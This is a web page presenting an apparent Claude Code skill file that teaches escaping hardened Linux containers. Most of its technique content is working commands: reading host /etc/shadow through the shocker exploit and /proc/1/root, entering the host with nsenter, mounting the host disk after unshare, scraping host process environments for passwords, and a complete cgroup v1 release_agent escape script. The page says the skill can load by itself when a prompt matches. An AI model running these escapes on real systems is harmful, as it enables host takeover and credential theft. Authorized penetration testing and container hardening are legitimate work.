Skip to content
Security
Skill

/escaping-hardened-containers

Escape containers that drop capabilities, enforce seccomp profiles, and run behind AppArmor or SELinux — enumerating residual capabilities, analyzing seccomp filters, abusing single-capability escapes, cgroup release agents, filesystem mounts, and runtime CVEs. Use when a

BOOST
From plugin
secskills
17094 skills
Install
$ npx -y skills add trilwu/secskills --skill escaping-hardened-containers --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/escaping-hardened-containers

Context preview

The summary Claude sees to decide when to auto-load this skill.

Escape containers that drop capabilities, enforce seccomp profiles, and run behind AppArmor or SELinux — enumerating residual capabilities, analyzing seccomp filters, abusing single-capability escapes, cgroup release agents, filesystem mounts, and runtime CVEs. Use when a

SKILL.md

escaping-hardened-containers.SKILL.md
name: escaping-hardened-containers
description: Escape containers that drop capabilities, enforce seccomp profiles, and run behind AppArmor or SELinux — enumerating residual capabilities, analyzing seccomp filters, abusing single-capability escapes, cgroup release agents, filesystem mounts, and runtime CVEs. Use when a container has no --privileged flag but retains exploitable capabilities, when seccomp or LSM blocks standard escape paths, when targeting gVisor or Kata sandboxes, or when reviewing a hardened container deployment for residual attack surface.
verified: 2026-07-27

Escaping Hardened Containers

Most container escapes documented online assume `--privileged`. The work starts when the container IS hardened -- seccomp is on, capabilities are dropped, and the obvious paths are blocked. The remaining attack surface is smaller but not zero, and single capabilities or filesystem mounts are often enough.

Only against systems you are authorized to test.

When to Use

  • The container is not privileged but retains one or more interesting capabilities (CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_DAC_READ_SEARCH, CAP_NET_RAW)
  • A seccomp profile is active and blocks common escape syscalls -- you need to map what is still allowed
  • AppArmor or SELinux enforcement is present and you need to identify profile gaps
  • The target runs under gVisor (runsc) or Kata Containers and you need sandbox-specific techniques
  • You have identified a hostPath mount, host PID namespace, or mounted socket but the container is otherwise locked down
  • A runtime CVE (runc, containerd, CRI-O) may apply despite hardening

When NOT to Use

  • **Generic privileged container escapes and basic Kubernetes abuse** -- use `exploiting-containers`
  • **Managed Kubernetes cluster-level attacks (EKS, GKE, AKS)** -- use `attacking-eks-gke-aks`
  • **Host-level privilege escalation after you have escaped** -- use `escalating-linux-privileges`

Capability Enumeration

Capabilities are the first thing to check. A single retained capability can be the entire escape.

# Full capability dump
capsh --print

# From procfs when capsh is not installed
grep Cap /proc/self/status
# Decode the hex bitmask
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')

# Quick check for the capabilities that matter most
# CAP_SYS_ADMIN  - mount, unshare, bpf, cgroup writes
# CAP_SYS_PTRACE - attach to host-namespace processes (with hostPID)
# CAP_DAC_READ_SEARCH - open_by_handle_at, read any file
# CAP_NET_RAW    - raw sockets, ARP spoofing, network pivoting
# CAP_SYS_MODULE - load kernel modules (rare but instant root)
# CAP_SYS_RAWIO  - iopl/ioperm, raw disk I/O

**CAP_DAC_READ_SEARCH -- the overlooked one.** It grants `open_by_handle_at()`, which bypasses mount namespace isolation entirely. The `shocker` exploit uses this to read arbitrary files from the host filesystem by brute-forcing inode handles.

# shocker PoC: reads /etc/shadow from the host
# Requires: CAP_DAC_READ_SEARCH
./shocker /etc/shadow

Seccomp Profile Analysis

# Check if seccomp is enforced (2 = filter mode, 1 = strict, 0 = disabled)
grep Seccomp /proc/self/status

# Dump the active filter (requires kernel 4.4+ and CONFIG_SECCOMP_FILTER)
cat /proc/self/seccomp_filter 2>/dev/null

# Use seccomp-tools to decompile the BPF filter
seccomp-tools dump /proc/self/seccomp_filter

**Docker's default seccomp profile** blocks ~44 syscalls. Key blocked calls include `mount`, `unshare`, `pivot_root`, `reboot`, `kexec_load`, and `init_module`. But it allows `ptrace`, `process_vm_readv`, and most socket operations.

**Custom profiles are where mistakes live.** Common gaps:

  • Allowing `unshare` -- enables new namespace creation with CAP_SYS_ADMIN
  • Allowing `mount` -- filesystem overlay attacks
  • Allowing `bpf` -- eBPF programs can read kernel memory
  • Allowing `userfaultfd` -- race condition exploitation primitive
  • Allowing `keyctl` -- kernel keyring access, sometimes holds secrets
# Test whether a specific syscall is available
# If blocked, the process gets SIGKILL or EPERM
python3 -c "import ctypes; ctypes.CDLL(None).syscall(272)"  # unshare = 272

Namespace Escapes

CAP_SYS_ADMIN + unshare

With CAP_SYS_ADMIN and `unshare` not blocked by seccomp, create a new user namespace and mount namespace to access the host filesystem.

# Create new mount namespace and mount the host block device
unshare -m /bin/sh -c 'mount /dev/sda1 /mnt && ls /mnt'

hostPID + CAP_SYS_PTRACE

When `hostPID: true` is set in the pod spec, `/proc` shows host processes. Combined with CAP_SYS_PTRACE, inject into a host process.

# Find a root process on the host
ps auxf | head -20

# Attach and inject
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# Or via /proc/1/root -- the host root filesystem
ls -la /proc/1/root/etc/shadow
cat /proc/1/root/etc/shadow

hostPID without CAP_SYS_PTRACE

Even without ptrace, hostPID leaks host process environment variables and command lines, which often contain secrets.

cat /proc/1/environ | tr '\0' '\n'
for p in /proc/[0-9]*/cmdline; do cat "$p" | tr '\0' ' '; echo; done 2>/dev/null | grep -i pass

Cgroup Escapes

Cgroup v1 release_agent

The classic escape for containers with CAP_SYS_ADMIN when cgroup v1 is in use. The release_agent runs on the host when the last process in a cgroup exits.

# Find a writable cgroup mount
mount | grep cgroup

# Full escape sequence
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$t/cmd" > $d/release_agent
echo "#!/bin/sh" > /cmd
echo "cat /etc/shadow > $t/output" >> /cmd
chmod +x /cmd
sh -c "echo 0 > $d/w/cgroup.procs"
sleep 1
cat /output

Cgroup v2 and Device Controller

Cgroup v2 removes `release_agent`. The remaining surface is eBPF-based device policy (requires `bpf()`) and writable

Read more
Ships withsecskills

**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

Get the whole plugin

Other skills on secskills.